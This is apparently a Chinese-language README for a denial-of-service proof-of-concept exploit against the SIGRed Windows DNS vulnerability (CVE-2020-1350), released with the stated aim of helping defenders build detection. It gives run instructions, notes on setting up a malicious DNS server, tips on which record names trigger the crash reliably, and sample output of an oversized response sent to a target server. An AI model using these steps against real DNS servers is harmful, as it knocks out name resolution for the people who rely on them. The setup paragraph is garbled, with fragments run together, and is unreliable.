本仓库包含我编写的针对 SIGRed 漏洞的 DoS PoC 漏洞利用版本,该漏洞由微软和 Check Point Research 于 2020 年 7 月 14 日披露。
@maxpl0it 也编写了一个 PoC 并于 7 月 15 日发布,但我对漏洞利用的构建方式与他们略有不同,因此我认为发布此工具仍能带来价值——帮助蓝队提升检测能力,并提供另一组可供测试的数据。
该仓库还包含一个 PCAP 文件,展示了该漏洞利用在网络上的表现形式。
我尝试搭建必要的域以进行公开测试,但在使 NS 记录正确同步时遇到了一些问题,因此我在 DNS 服务内部进行了配置。据我所知,这不应影响漏洞利用的有效性。
C:\Windows\System32\drivers\etc\hosts 中添加 dnsexploitvm.lan)lol,因为我不关心在本地劫持该 TLD)hax.lol),并将其 NS 设置为你的恶意 DNS 服务器在运行脚本之前,请确保将脚本顶部的 DNS_SERVER_ADDR 元组设置为正确的 IP 地址,并安装依赖项(dnspython)。
然后,运行脚本(仅限 Python 3):
$ sudo ./cve-2020-1350-dos.py [目标 DNS 服务器] [DNS 记录]
我使用 9.hax.lol 进行测试,结果相当可靠。较长的域名或包含多个标签的记录效果不佳。
示例脚本输出:
$ sudo ./exploit.py 192.168.117.36 9.hax.lol
UDP server waiting for connection
TCP server waiting for connection
making DNS SIG request to 192.168.117.36: 9.hax.lol
got UDP connection from 192.168.117.36:54721
sending UDP response (len=27)
got TCP connection from 192.168.117.36:49804
sending TCP response (len=65523)

需要注意的一些奇怪问题: